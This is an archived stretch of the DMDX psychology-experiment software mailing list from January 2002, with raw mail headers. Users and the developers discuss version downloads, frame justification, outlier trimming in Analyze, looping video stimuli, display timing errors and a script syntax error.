deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id GAA04817 for ; Fri, 11 Jan 2002 06:07:43 -0700 Received: from XPTERNARY.u.arizona.edu (150.135.175.50) by deimos.email.Arizona.EDU (6.0.036) id 3C3E30F20000B0E2 for DMDX@psy1.psych.arizona.edu; Fri, 11 Jan 2002 06:07:44 -0700 Message-Id: <5.1.0.14.2.20020111060702.00b4e5e0@psy1.psych.arizona.edu> Date: Fri, 11 Jan 2002 06:07:43 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Request for interesting scripts from users In-Reply-To: <1010722142.3c3e655e1d4d9@www.maccs.mq.edu.au> References: <5.1.0.14.2.20020110081117.00b47020@psy1.psych.arizona.edu> <1010646808.3c3d3f188648a@www.maccs.mq.edu.au> <3C0B74E900001E96@deimos.email.Arizona.EDU> <3C0B74E900001E96@deimos.email.Arizona.EDU> <5.1.0.14.2.20020110081117.00b47020@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:09 PM 1/11/2002 +1100, you wrote: >Dear All, > Thanks so much for the rapid replies. I could have sworn that I > tried >to type in the full path yesterday and it wouldn't let me type in anything at >all, however having started it from a DOS window today, it accepted the full >path, and will now browse happily. I also tried to download that new >version in >which this problem is fixed (2.6.05), but I keep ending up with 2.6.04 >somehow. Well I just double checked the archive, it definitely has 2.6.05 in it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trifles make perfection and perfection is no trifle. - Michelangelo >From DMDX-owner@psy1.psych.arizona.edu Fri Jan 11 17:38:04 2002 Received: from currawong.maccs.mq.edu.au (root@currawong2.psy.mq.edu.au [137.111.47.11]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA06223 for ; Fri, 11 Jan 2002 17:37:34 -0700 Received: (from nobody@localhost) by currawong.maccs.mq.edu.au (8.9.3/8.8.7) id LAA18748 for DMDX@psy1.psych.arizona.edu; Sat, 12 Jan 2002 11:37:32 +1100 From: Anna Woollams To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Request for interesting scripts from users Message-ID: <1010795852.3c3f854ca8798@www.maccs.mq.edu.au> Date: Sat, 12 Jan 2002 11:37:32 +1100 (EST) References: <5.1.0.14.2.20020110081117.00b47020@psy1.psych.arizona.edu> <1010646808.3c3d3f188648a@www.maccs.mq.edu.au> <3C0B74E900001E96@deimos.email.Arizona.EDU> <3C0B74E900001E96@deimos.email.Arizona.EDU> <5.1.0.14.2.20020110081117.00b47020@psy1.psych.arizona.edu> <5.1.0.14.2.20020111060702.00b4e5e0@psy1.psych.arizona.edu> In-Reply-To: <5.1.0.14.2.20020111060702.00b4e5e0@psy1.psych.arizona.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear All, > Well I just double checked the archive, it definitely has 2.6.05 in > it. Thanks very much for checking - I'm obviously doing something wrong (certainly wouldn't be the first time!). Will try again on Monday. Thanks again, Anna W. This Message is intended for the addressee named and may contain confidential information. If you are not the intended recipient, please delete it and notify the sender. Views expressed in this message are those of the individual sender and are not necessarily the views of The Macquarie Centre for Cognitive Science. >From DMDX-owner@psy1.psych.arizona.edu Sun Jan 13 22:04:36 2002 Received: from currawong.maccs.mq.edu.au (root@currawong2.psy.mq.edu.au [137.111.47.11]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id WAA11765 for ; Sun, 13 Jan 2002 22:03:42 -0700 Received: (from nobody@localhost) by currawong.maccs.mq.edu.au (8.11.6/8.8.7) id g0E53eU08252 for DMDX@psy1.psych.arizona.edu; Mon, 14 Jan 2002 16:03:40 +1100 From: Anna Woollams To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Request for interesting scripts from users Message-ID: <1010984620.3c4266ac68fc1@www.maccs.mq.edu.au> Date: Mon, 14 Jan 2002 16:03:40 +1100 (EST) References: <5.1.0.14.2.20020110081117.00b47020@psy1.psych.arizona.edu> <1010646808.3c3d3f188648a@www.maccs.mq.edu.au> <3C0B74E900001E96@deimos.email.Arizona.EDU> <3C0B74E900001E96@deimos.email.Arizona.EDU> <5.1.0.14.2.20020110081117.00b47020@psy1.psych.arizona.edu> <5.1.0.14.2.20020111060702.00b4e5e0@psy1.psych.arizona.edu> In-Reply-To: <5.1.0.14.2.20020111060702.00b4e5e0@psy1.psych.arizona.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear All, > Well I just double checked the archive, it definitely has 2.6.05 in > it. OK, I just downloaded again and got 2.6.05 - no problem. Not sure why I was getting 2.6.04 on Friday, but I definitely was, as I have zip files that are dated 11/1/02 (3:01pm our time) that give me 2.6.04. Perhaps I was too quick off the mark in trying to download 2.6.05. Unfortunately, I no longer have a W2K machine on which to try out the new version (the Toshiba laptops having made their way to their rightful owners), but I will be sure to do so when another W2K machine crosses my path. Thanks, Anna W. This Message is intended for the addressee named and may contain confidential information. If you are not the intended recipient, please delete it and notify the sender. Views expressed in this message are those of the individual sender and are not necessarily the views of The Macquarie Centre for Cognitive Science. >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 14 20:23:17 2002 Received: from femail23.sdc1.sfba.home.com (femail23.sdc1.sfba.home.com [24.0.95.148]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA14443 for ; Mon, 14 Jan 2002 20:22:35 -0700 From: rmertens@u.arizona.edu Received: from cx638612-a.u.arizona.edu ([24.38.147.58]) by femail23.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with ESMTP id <20020115032234.PIDF8076.femail23.sdc1.sfba.home.com@cx638612-a.u.arizona.edu> for ; Mon, 14 Jan 2002 19:22:34 -0800 Message-Id: <4.3.2.20020114201755.021b1ef0@rmertens.inbox.email.arizona.edu> Date: Mon, 14 Jan 2002 20:21:54 -0700 To: Subject: [DMDX] aligning frames left or right Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, it's been a while since I've used DMDX (ahh, the good 'ol v.0.29....). I've got the new paradigm all set up, however would like to tidy up the presentation. Is there any way to have frames aligned to the left or right, just like in a word processor, instead of the frame centered on the line? Thanks, Ralf >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 14 20:29:46 2002 Received: from femail16.sdc1.sfba.home.com (femail16.sdc1.sfba.home.com [24.0.95.143]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA14466 for ; Mon, 14 Jan 2002 20:29:40 -0700 From: rmertens@u.arizona.edu Received: from cx638612-a.u.arizona.edu ([24.38.147.58]) by femail16.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with ESMTP id <20020115032936.WDWQ12992.femail16.sdc1.sfba.home.com@cx638612-a.u.arizona.edu> for ; Mon, 14 Jan 2002 19:29:36 -0800 Message-Id: <4.3.2.20020114202737.021b6700@rmertens.inbox.email.arizona.edu> Date: Mon, 14 Jan 2002 20:28:56 -0700 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] aligning frames left or right using DMDX 2.6.04 In-Reply-To: <4.3.2.20020114201755.021b1ef0@rmertens.inbox.email.arizona .edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Just to clarify: >it's been a while since I've used DMDX (ahh, the good >'ol v.0.29....). I've got the new paradigm all set up, however would >like to tidy up the presentation. Is there any way >to have frames aligned to the left or right, just like in a word >processor, instead of the frame centered on the line? I am of course using DMDX 2.6.04 now. Sorry, Ralf >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 15 07:56:16 2002 Received: from mefteh.dsi.univ-paris5.fr (mefteh.dsi.univ-paris5.fr [193.51.86.10]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA15813 for ; Tue, 15 Jan 2002 07:55:50 -0700 Received: (from root@localhost) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) id PAA19324 for dmdx@psy1.psych.arizona.edu; Tue, 15 Jan 2002 15:55:45 +0100 (MET) Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) with ESMTP id PAA19302 for ; Tue, 15 Jan 2002 15:55:42 +0100 (MET) Received: from boris (n2sgir212.psycho.univ-paris5.fr [193.51.84.212]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.1) with SMTP id PAA08084 for ; Tue, 15 Jan 2002 15:55:42 +0100 (MET) Message-ID: <00ac01c19dd6$1ee57180$312815ac@psycho.univparis5.fr> From: ""Boris New"" To: ""DMDX"" Subject: [DMDX] Analyze and Outliers Date: Tue, 15 Jan 2002 16:05:50 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""----=_NextPart_000_00A8_01C19DDE.804E4C00"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_00A8_01C19DDE.804E4C00 Content-Type: multipart/alternative; boundary=""----=_NextPart_001_00A9_01C19DDE.804E4C00"" ------=_NextPart_001_00A9_01C19DDE.804E4C00 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi, I'm not sure but I found perhaps a problem with Analyze: for the = sujbect 1 the rt should be for the following conditions ( with an = exclusion for the datas above 2 standard deviations): 11 12 13 21 22 23 618 660 636 583 651 563 And they are (in the das file): 618 660 664 607 651 543 It seems that sometimes Analyze don't remove the outliers. I joined all the files in a zip =20 The detailed computations are in the excel file =20 **********************************=20 http://www.borisnew.org/journalclub http://www.borisnew.org http://www.lexique.org Boris New=20 Laboratoire de Psychologie Exp=E9rimentale=20 Centre Universitaire de Boulogne - Institut de Psychologie=20 Universit=E9 Paris 5 - UMR 8581=20 71 Av. Edouard Vaillant=20 92774 Boulogne Billancourt Cedex=20 Tel : 01 55 20 57 36=20 ********************************** ------=_NextPart_001_00A9_01C19DDE.804E4C00 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi,   I'm not sure but I  found perhaps = a problem=20 with Analyze: for the sujbect 1 the rt should be for the following = conditions (=20 with an exclusion for the datas above 2 standard = deviations): 11    = 12   =20 13    21    22    = 23 618   660   =20 636    583    651   =20 563 And they are (in the das = file): 618    = 660   =20 664    607    651   =20 543   It seems that sometimes Analyze don't = remove the=20 outliers. I joined = all the files=20 in a zip     The detailed computations are in the = excel=20 file            ********************************** = http://www.borisnew.org/jour= nalclubhttp://www.borisnew.orghttp://www.lexique.org   Boris New Laboratoire de = Psychologie=20 Exp=E9rimentale Centre Universitaire de Boulogne - Institut de = Psychologie=20 Universit=E9 Paris 5 - UMR 8581 71 Av. Edouard Vaillant = 92774 Boulogne=20 Billancourt Cedex Tel : 01 55 20 57 36=20 ********************************** >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 15 09:19:22 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA16080 for ; Tue, 15 Jan 2002 09:19:09 -0700 Received: from XPTERNARY.u.arizona.edu (150.135.175.50) by phobos.email.Arizona.EDU (6.0.036) id 3C3E1DE90006E49D for DMDX@psy1.psych.arizona.edu; Tue, 15 Jan 2002 09:19:09 -0700 Message-Id: <5.1.0.14.2.20020115091705.00b39aa0@psy1.psych.arizona.edu> Date: Tue, 15 Jan 2002 09:19:08 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: aligning frames left or right using DMDX 2.6.04 In-Reply-To: <4.3.2.20020114202737.021b6700@rmertens.inbox.email.arizona .edu> References: <4.3.2.20020114201755.021b1ef0@rmertens.inbox.email.arizona .edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:28 PM 1/14/2002 -0700, you wrote: >Just to clarify: > > >>it's been a while since I've used DMDX (ahh, the good >>'ol v.0.29....). I've got the new paradigm all set up, however would >>like to tidy up the presentation. Is there any way >>to have frames aligned to the left or right, just like in a word >>processor, instead of the frame centered on the line? The justification keyword I mentioned to you the other day is : http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhxyjustificationkeyword.htm -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trifles make perfection and perfection is no trifle. - Michelangelo >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 15 11:57:59 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA16466 for ; Tue, 15 Jan 2002 11:57:47 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by deimos.email.Arizona.EDU (6.0.036) id 3C43859700014F4B for DMDX@psy1.psych.arizona.edu; Tue, 15 Jan 2002 11:57:47 -0700 Message-Id: <4.3.1.1.20020115114329.00d82e10@kforster.inbox.email.arizona.edu> Date: Tue, 15 Jan 2002 11:58:55 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Re: Analyze and Outliers In-Reply-To: <00ac01c19dd6$1ee57180$312815ac@psycho.univparis5.fr> Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_9244241==_.ALT"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --=====================_9244241==_.ALT Content-Type: text/plain; charset=""us-ascii""; format=flowed Boris New, At 04:05 PM 1/15/02 +0100, you wrote: >Hi, > >I'm not sure but I found perhaps a problem with Analyze: for the sujbect >1 the rt should be for the following conditions ( with an exclusion for >the datas above 2 standard deviations): >11 12 13 21 22 23 >618 660 636 583 651 563 >And they are (in the das file): >618 660 664 607 651 543 > >It seems that sometimes Analyze don't remove the outliers. >I joined all the files in a zip >The detailed computations are in the excel file I've just spent the morning checking out the trim vs exclude functions in Analyze, and on my data files, they correspond exactly to what we get with Excel. Or, I should say, to what we get with Excel after correcting about five different mistakes that I made in applying formulas, etc. Personally, I think Excel creates unlimited possibilities for errors, and you should not operate it without a co-pilot. So what is wrong with your file? I don't know. The .xls file you sent has something weird in it. I tried trimming the data using a formula such as ""=IF(B8>$N$5, $N$5,B8)"", where B8 is the RT and $N$5 is the upper cutoff, but the logical function does not execute correctly -- e.g., it says that 758 is not greater than 750, although it does say that 758 is greater than 1. When I opened your .azk file in a new worksheet, everything seemed OK, except that now I couldn't easily determine which items should be analyzed. Another possible problem. I noticed that you calculated the SD for each condition separately, suggesting that you were trimming RTs within a condition using the condition mean and the condition SD. I think this would be a mistake, since you are artificially reducing the error term. The way Analyze works is to trim on the basis of the overall mean and SD for all items specified in the .spc file. --K.I.F. --=====================_9244241==_.ALT Content-Type: text/html; charset=""us-ascii"" Boris New, At 04:05 PM 1/15/02 +0100, you wrote: Hi,   I'm not sure but I  found perhaps a problem with Analyze: for the sujbect 1 the rt should be for the following conditions ( with an exclusion for the datas above 2 standard deviations): 11    12    13    21    22    23 618   660    636    583    651    563 And they are (in the das file): 618    660    664    607    651    543   It seems that sometimes Analyze don't remove the outliers. I joined all the files in a zip    The detailed computations are in the excel file         I've just spent the morning checking out the trim vs exclude functions in Analyze, and on my data files, they correspond exactly to what we get with Excel.  Or, I should say, to what we get with Excel after correcting about five different mistakes that I made in applying formulas, etc.  Personally, I think Excel creates unlimited possibilities for errors, and you should not operate it without a co-pilot.         So what is wrong with your file?  I don't know.  The .xls file you sent has something weird in it.  I tried trimming the data using a formula such as ""=IF(B8>$N$5, $N$5,B8)"", where B8 is the RT and $N$5 is the upper cutoff, but the logical function does not execute correctly -- e.g., it says that 758 is not greater than 750, although it does say that 758 is greater than 1.         When I opened your .azk file in a new worksheet, everything seemed OK, except that now I couldn't easily determine which items should be analyzed.         Another possible problem.  I noticed that you calculated the SD for each condition separately, suggesting that you were trimming RTs within a condition using the condition mean and the condition SD.  I think this would be a mistake, since you are artificially reducing the error term.  The way Analyze works is to trim on the basis of the overall mean and SD for all items specified in the .spc file.         --K.I.F. --=====================_9244241==_.ALT-- >From DMDX-owner@psy1.psych.arizona.edu Wed Jan 16 03:22:54 2002 Received: from lnf.cnrs-mrs.fr (lnf.cnrs-mrs.fr [195.221.164.221]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id DAA18356 for ; Wed, 16 Jan 2002 03:22:13 -0700 Received: from lnf.cnrs-mrs.fr (lnc0211 [195.221.164.211]) by lnf.cnrs-mrs.fr (8.10.2/jtpda-5.3.3) with ESMTP id g0GALgj19042 for ; Wed, 16 Jan 2002 11:21:42 +0100 (MET) Message-ID: <3C4553A7.7F240EB4@lnf.cnrs-mrs.fr> Date: Wed, 16 Jan 2002 11:19:20 +0100 From: Bruno Wicker MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] periodic stimuli Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear Dmdx users, I have to present periodic stimuli (a moving grating) for say 20 sec, so I'm using .avi files which are huge in size since they contain several periods of the moving grating. Ideally, to reduce the size of the files, I would like to have only one period in the .avi file and then present the file repetitively in a loop. Is it possible to do that currently, and if not, will it be possible in the future? Thanks a lot. -- Bruno Wicker CNRS Centre de Recherches en Neurosciences Cognitives 31, Chemin Joseph Aiguier 13402 Marseille cedex 20 Tel : 33 (0)4 91 16 43 59 Fax : 33 (4) 91 77 49 69 >From DMDX-owner@psy1.psych.arizona.edu Wed Jan 16 03:35:49 2002 Received: from mefteh.dsi.univ-paris5.fr (mefteh.dsi.univ-paris5.fr [193.51.86.10]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id DAA18444 for ; Wed, 16 Jan 2002 03:35:36 -0700 Received: (from root@localhost) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) id LAA27464 for dmdx@psy1.psych.arizona.edu; Wed, 16 Jan 2002 11:35:36 +0100 (MET) Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) with ESMTP id LAA27456 for ; Wed, 16 Jan 2002 11:35:34 +0100 (MET) Received: from pppppp (ext06.univ-paris5.fr [193.51.86.134]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.1) with SMTP id LAA30108 for ; Wed, 16 Jan 2002 11:35:33 +0100 (MET) Message-ID: <001c01c19e79$68ed5420$865633c1@pppppp> From: ""Boris New"" To: References: <4.3.1.1.20020115114329.00d82e10@kforster.inbox.email.arizona.edu> Subject: [DMDX] Re: Analyze and Outliers Date: Wed, 16 Jan 2002 11:34:41 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list First I used my own softs (in perl) to calculate the means. Then I saw the difference between it and analyze. So I made the computations with excel. Another possible problem. I noticed that you calculated the SD for each condition separately, suggesting that you were trimming RTs within a condition using the condition mean and the condition SD. I think this would be a mistake, since you are artificially reducing the error term. The way Analyze works is to trim on the basis of the overall mean and SD for all items specified in the .spc file. The difference came from that. I use the condition mean and condition SD for each item (or subject when the analyse is by subject) because we could imagine an experiment where condition A is a lot longer than condition B. In this case a long RT in condition B could be preserve because of the RTs of condition A. >From DMDX-owner@psy1.psych.arizona.edu Wed Jan 16 09:30:19 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA19181 for ; Wed, 16 Jan 2002 09:30:04 -0700 Received: from XPTERNARY.u.arizona.edu (150.135.175.50) by deimos.email.Arizona.EDU (6.0.036) id 3C43859700030FC5 for DMDX@psy1.psych.arizona.edu; Wed, 16 Jan 2002 09:30:03 -0700 Message-Id: <5.1.0.14.2.20020116092745.00b4b910@psy1.psych.arizona.edu> Date: Wed, 16 Jan 2002 09:30:02 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: periodic stimuli In-Reply-To: <3C4553A7.7F240EB4@lnf.cnrs-mrs.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:19 AM 1/16/2002 +0100, you wrote: >Dear Dmdx users, >I have to present periodic stimuli (a moving grating) for say 20 sec, >so I'm using .avi files which are huge in size since they contain >several periods of the moving grating. >Ideally, to reduce the size of the files, I would like to have only one >period in the .avi file and then present the file repetitively in a >loop. >Is it possible to do that currently, and if not, will it be possible in >the future? You can do it but there will be a discontinuity as the file is closed and opened again. The option will reschedule a frame a number of times at some future time. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trifles make perfection and perfection is no trifle. - Michelangelo >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 22 07:49:00 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA02339 for ; Tue, 22 Jan 2002 07:48:11 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id g0MEm9p21033 for ; Tue, 22 Jan 2002 15:48:09 +0100 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] Can't eradicate 'late tick' display errors Date: Tue, 22 Jan 2002 15:46:31 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I am frustrated in my attempts to run a simple script without generating ""Display error at ms .... moved into video memory %d ticks late"" for every item number. For example, in a sample of the offending script (below), Frame ""1a"" always times in 6 or 7 ticks late. ^1 ""1a"" / * ""2a"", ""�"" / ""3a"" ; 0 ""the end"" ; The help files advises: (1) ""less stringent timing"" - I first tried tuning the video display parameters in TimeDX (for a variety of display modes). In all attempts to tweak sleep-time, lines-to-blit, time-out and refreshments -- I can slow down the timouts to about 5% and eliminate certain errors and multiply timeouts. (2) Easing the demands on the display, - Easing the demands? Am I making unreasonable or badly formed demands? (3) Using a video card with more memory. - I am using an ATI MACH64 with 8MB. DirectX version 8.0, 166MHZ MMX Pentium. Can anyone offer some suggestions on what to do next? Thank you, Derek Eder Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 (office) Tlf. +46 (031) 34 21 283 (laboratory) Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 22 09:02:09 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA02601 for ; Tue, 22 Jan 2002 09:01:59 -0700 Received: from XPTERNARY.u.arizona.edu (150.135.175.30) by deimos.email.Arizona.EDU (6.0.036) id 3C4B5EF300025364 for DMDX@psy1.psych.arizona.edu; Tue, 22 Jan 2002 09:01:59 -0700 Message-Id: <5.1.0.14.2.20020122085542.00b4d9a8@psy1.psych.arizona.edu> Date: Tue, 22 Jan 2002 09:01:50 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Can't eradicate 'late tick' display errors In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:46 PM 1/22/2002 +0100, you wrote: >I am frustrated in my attempts to run a simple script without generating ... > 0> ... >Can anyone offer some suggestions on what to do next? Take the out of the parameter line. You are asking DMDX to have the item prepared in 20 ticks, no matter what and your P166 just isn't up to the task, it is taking 26 or 27 ticks. The delay parameter is provided for situations when the ISI absolutely has to be rigid, if you don't like the default delay from request to display use a negative D parameter, in your case . This will make DMDX take at least 20 ticks between items but if it needs more it will take it and not throw an error. If you want a rigid ISI look at the sum of the longest Preparation A and B times and divide them by the refresh rate then add a fudge factor of a couple of ticks and use that. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trifles make perfection and perfection is no trifle. - Michelangelo >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 22 10:00:04 2002 Received: from bureau6.utcc.utoronto.ca (bureau6.utcc.utoronto.ca [128.100.132.16]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA02769 for ; Tue, 22 Jan 2002 09:59:51 -0700 Received: from pc15.ling.utoronto.ca ([128.100.214.15] EHLO [128.100.214.15] ident: IDENT-NOT-QUERIED [port 49409]) by bureau6.utcc.utoronto.ca with ESMTP id <239415-15808>; Tue, 22 Jan 2002 11:59:41 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: <5.1.0.14.2.20020122085542.00b4d9a8@psy1.psych.arizona.edu> References: <5.1.0.14.2.20020122085542.00b4d9a8@psy1.psych.arizona.edu> Date: Tue, 22 Jan 2002 12:01:10 -0400 To: DMDX@psy1.psych.arizona.edu From: Tyler Subject: [DMDX] Don't know what this error message means, please help Content-Type: multipart/alternative; boundary=""============_-1200407224==_ma============"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --============_-1200407224==_ma============ Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Hello, Another question from the undergrad lab co-ordinator at UofT. I'm trying to run the program, but I get the following error message: frame has multiple text segments, possible missing frame delimeter. Could someone please explain what that means. I've also enclosed the header line but some items: , +1 c * "" ""; +1 c *""One day at the mall""; +1 c *""Michael was stopped by Hannah""; +1 c *""while""; +1 "" "" / c *""leaving the store.""; -1 *""Hannah was leaving the store.""; +9 c * "" ""; +9 c *""One day outside the movie theatre""; +9 c *""Jacob was harassed by Emily""; +9 c *""while""; +9 "" "" / c *""he stood in line.""; -9 *""Emily stood in line.""; +17 "" "" / c *""One day at the library""; +17 c *""Matthew was silenced by Elizabeth""; +17 c *""in a loud and vocal manner""; +17 c *""while""; +17 "" "" / c *""reading a book.""; -17 *""Elizabeth was reading a book.""; +25 "" "" / c *""One afternoon at the store""; +25 c *""Joseph was approached by Alexis""; +25 c *""in a slow and awkward manner""; +25 c *""while""; +25 "" "" / c *""he left the store.""; -25 *""Alexis left the store.""; -- Lab-Coordinator of the Psycholinguistics Lab Undergraduate student-rep, University of Toronto, for the CPA Communications co-ordinator for the PSA at UofT --============_-1200407224==_ma============ Content-Type: text/html; charset=""us-ascii"" Don't know what this error message means, please help Hello, Another question from the undergrad lab co-ordinator at UofT. I'm trying to run the program, but I get the following error message: frame has multiple text segments, possible missing frame delimeter. Could someone please explain what that means. I've also enclosed the header line but some items:   ,  +1 c * "" ""; +1 c *""One day at the mall""; +1 c *""Michael was stopped by Hannah""; +1 c *""while"";  +1 "" "" / c *""leaving the store.""; -1 *""Hannah was leaving the store.""; +9  c * "" ""; +9 c *""One day outside the movie theatre""; +9 c *""Jacob was harassed by Emily""; +9 c *""while""; +9 "" "" / c *""he stood in line.""; -9 *""Emily stood in line.""; +17 "" "" / c *""One day at the library""; +17 c *""Matthew was silenced by Elizabeth""; +17 c *""in a loud and vocal manner""; +17 c *""while""; +17 "" "" / c *""reading a book.""; -17 *""Elizabeth was reading a book.""; +25 "" "" / c *""One afternoon at the store""; +25 c *""Joseph was approached by Alexis""; +25 c *""in a slow and awkward manner""; +25 c *""while""; +25 "" "" / c *""he left the store.""; -25 *""Alexis left the store.""; -- Lab-Coordinator of the Psycholinguistics Lab Undergraduate student-rep, University of Toronto, for the CPA Communications co-ordinator for the PSA at UofT --============_-1200407224==_ma============-- >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 22 11:13:42 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA03063 for ; Tue, 22 Jan 2002 11:13:33 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.036) id 3C4B5EF30002AA23 for DMDX@psy1.psych.arizona.edu; Tue, 22 Jan 2002 11:13:33 -0700 